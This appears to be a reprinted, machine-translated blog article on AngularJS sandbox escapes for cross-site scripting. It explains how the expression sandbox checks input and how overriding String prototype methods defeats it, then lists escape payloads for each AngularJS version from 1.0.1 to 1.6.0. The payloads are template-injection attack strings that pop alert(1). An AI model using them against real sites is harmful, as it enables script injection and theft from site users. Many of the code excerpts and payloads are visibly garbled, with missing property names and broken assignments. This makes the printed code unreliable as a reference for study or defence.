Overview
XSS attack is one of the most common attack methods in web attacks. It is to inject executable code into a web page and successfully execute it by the browser to achieve the purpose of the attack, forming an effective XSS attack. Once the attack is successful, it can obtain the user's contact list, and then send false fraud information to the contacts, delete the user's log, etc. Sometimes it also implements phishing with other attack methods, such as SQL injection attack servers and databases, Click hijacking, relative link hijacking, etc. The harm it brings is huge and it is the number one enemy of web security.
Introduction
angularJs uses "{{}}" as the output flag. For the content in double brackets, angularJs accounting and output results, we can enter JS code in it, and some statements can also be executed, which makes our XSS possible. Although we cannot write function expressions directly, this does not make us white hats.
Sandbox inspection
angularJs will rewrite the expression and filter the calculation output, such as our input
{{1 + 1}}
It will be converted to
"use strict"; var fn = function(s, l, a, i) { return plus(1, 1); }; return fn;
return fn; The return here will be executed by angualrJs. The conversion after angularJs rewrites this method is like this
"use strict"; var fn = function(s, l, a, i) { var v0, v1, v2, v3, v4 = l && ('constructor' in l), v5; if (!(v4)) { if (s) { v3 = ; } } else { v3 = ; } ensureSafeObject(v3, text); if (v3 != null) { v2 = ensureSafeObject(, text); } else { v2 = undefined; } if (v2 != null) { ensureSafeFunction(v2, text); v5 = 'alert\u00281\u0029'; ensureSafeObject(v3, text); v1 = ensureSafeObject((ensureSafeObject('alert\u00281\u0029', text)), text); } else { v1 = undefined; } if (v1 != null) { ensureSafeFunction(v1, text); v0 = ensureSafeObject(v1(), text); } else { v0 = undefined; } return v0; }; return fn;
angularJs will check the parameters of each input, and ensureSafeObject method will check the function's constructor, window object, object, or object's constructor. Any one of the arbitrary is checked, and the expression will not be executed. angularJs also ensureSafeMemeberName and ensureSafeFunction filter out the method prototype chain method and check this pointer.
How to escape
How can we escape the filtering of templates? We can make the templates we input be executed by angles. Because angularJs does not support function input, we cannot directly overwrite local JS functions. But I found a vulnerability in the string object, fromCharCode, charCode, charAt, since these methods were not rewrited, by changing the local js function, I can open a backdoor for myself when angularJs calls these methods and overwrite the original function.
'a'.=[].join; 'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
When the formCharCode method is executed, this inside points to a String object. Through the above reference execution statement, we can override the fromCharCode function. When executed in this page, for example:
onload=function(){ ((97));//Will pop up /Backdoored/}
It's OK
'a'.=[].concat
When angularJs calls the charCodeAt function, my code is executed to the angular source code. For example, in this section, there is the encodeEntities method used to filter the attributes and names and then output them.
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value));//What I'm looking for is encodeEntitiesout('"'); }
The specific encodeEntities code is as follows:
function encodeEntities(value) { return value. replace(/&/g, '&'). replace(SURROGATE_PAIR_REGEXP, function(value) { var hi = (0); var low = (1); return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';'; }). replace(NON_ALPHANUMERIC_REGEXP, function(value) { return '&#' + (0) + ';';//A bad thing happened here. I rewritten this method and can implant some malicious code and get the return output }).replace(/</g, '<'). replace(/>/g, '>'); }
Specific implementation
//This is the input code{{ 'a'.=[].join; $eval('x=""')+'' }} //This is the code affected by the overwrite"use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//Influenced if (!(v6)) { if (s) { v5 = = "";//Influenced } } else { v5 = = "";//Influenced } return v5; }; = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//Influenced v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = = "";//Influenced } } else { v2 = = "";//Influenced } if (v3 != null) { v1 = v; ensureSafeObject( = "", text);//Influenced v0 = = "" = v1;//Influenced } return v0; }; return fn;
{{ 'a'.=[].join; $eval('x=alert(1)')+'' //Injected alert(1)}} "use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l); if (!(v6)) { if (s) { v5 = = alert(1); } } else { v5 = = alert(1); } return v5; }; = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l); v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = = alert(1); } } else { v2 = = alert(1); } if (v3 != null) { v1 = v; ensureSafeObject( = alert(1), text); v0 = = alert(1) = v1; } return v0; }; return fn;
Some codes can be directly combined with angularJs verification
Different versions of implementation code and discoverers:
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{('alert(1)')()}}
1.2.0 - 1.2.1 Jan Horn (Google)
{{a='constructor';b={};(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(),a).value,0,'alert(1)')()}}
1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6 - 1.2.18 Jan Horn (Google)
{{(_=''.sub).({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23 Mathias Karlsson
{{=;["a","alert(1)"].sort();}}
1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)
{{'a'.=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.3.0 Gábor Molnár (Google)
{{!ready && (ready = true) && ( !call ? $$watchers[0].get() : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = ;' + ' = ;' + 'delete ;' + 'delete ;' + 'alert(1);' )) );}}
1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)
{{ {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.=''.valueOf; $eval('x=alert(1)//'); }}
1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.=[].join; $eval('x=alert(1)//'); }}
1.3.19 Gareth Heyes (PortSwigger)
{{ 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; $eval('x=alert(1)//'); }}
1.3.20 Gareth Heyes (PortSwigger)
{{'a'.=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)
{{'a'.=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8 Ian Hickey
{{x = {'y':''.}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9 - 1.5.11 Jan Horn (Google)
{{ c=''.;b=''.;a=''.; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();='UnaryExpression'; ='(?void0:(=true,alert(1)))+'; ={type:'Identifier',name:'foo'}; "); m1=B($$().expression,null,$root); m2=B(C,null,m1);[].=m2;a=''.sub; $eval('a()');[].=a; }}
= 1.6.0 Mario Heiderich(Cure53)
{{('alert(1)')()}}
Reprinted from: /activity/detail?activity_no=act_017d460d4e5988dad2
Summarize
The above is the entire content of this article. I hope that the content of this article has a certain reference value for everyone's study or work. If you have any questions, you can leave a message to communicate. Thank you for your support.